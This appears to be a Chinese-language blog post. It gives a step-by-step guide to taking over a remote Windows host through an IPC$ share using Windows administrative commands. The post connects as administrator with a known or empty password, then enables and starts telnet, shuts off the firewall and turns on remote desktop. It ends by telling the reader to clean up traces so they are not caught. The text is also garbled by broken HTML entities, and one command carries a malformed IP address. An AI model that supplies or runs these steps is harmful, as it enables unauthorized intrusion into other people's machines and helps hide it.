网络上通过IPC$***的说明很多&＃xff0c;不止新手看不懂&＃xff0c;我刚开始也看不懂&＃xff0c;更别提去实施了

下面以IP为192.168.93.9为列

1、建立IPC$通道
先要确认自己知不知道对方的用户和密码&＃xff0c;如果知道实施&＃xff08;1&＃xff09;跳过&＃xff08;2&＃xff09;&＃xff0c;如果不知道请用扫描&＃xff08;X-SCAN)工具或者测试空密码用&＃xff08;2&＃xff09;

&＃xff08;1&＃xff09;net use \\192.168.93.9 "password" /user:"administrator"    (建立有密码的连接对于域中管理 员省了很多事&＃xff09;
&＃xff08;2&＃xff09;net use \\192.168.93.9 "" /user:"administrator"  (建立空密码连接&＃xff09;

 

连接成功之后&＃xff1a;
2、用sc命令把禁用的telnet服务变成自动
sc \\192.168.93.9 config tlntsvr start&＃61; auto
3、用sc命令将telnet启动
sc \\192.168.93.9 start tlntsvr
4、用SC命令将内置防火墙关闭
sc \\192.168.93.9 stop sharedaccess
5、telnet IP
telnet 192.168.93.9

现在什么都可以做了

--6、用sc命令将telnet关闭 &＃xff0c;吃完鸡&＃xff0c;别忘了把嘴上油给擦干净哦&＃xff0c;被抓到了就不好了。。
　　sc 192168.93.9 stop tlntsvr

7、在本机执行此命令开启对方远程协助
wmic /node:"192.168.93.9" /USER:"administrator" PATH win32_terminalservicesetting WHERE (__Class!&＃61;"") CALL SetAllowTSConnections 1

 

8、在DOS下执行.reg 注册表文件&＃xff0c;比如注册表文件名称为a.reg
reg import a.reg
 

 

请的不清楚的或者不明白的可以发留言&＃xff0c;我会回复的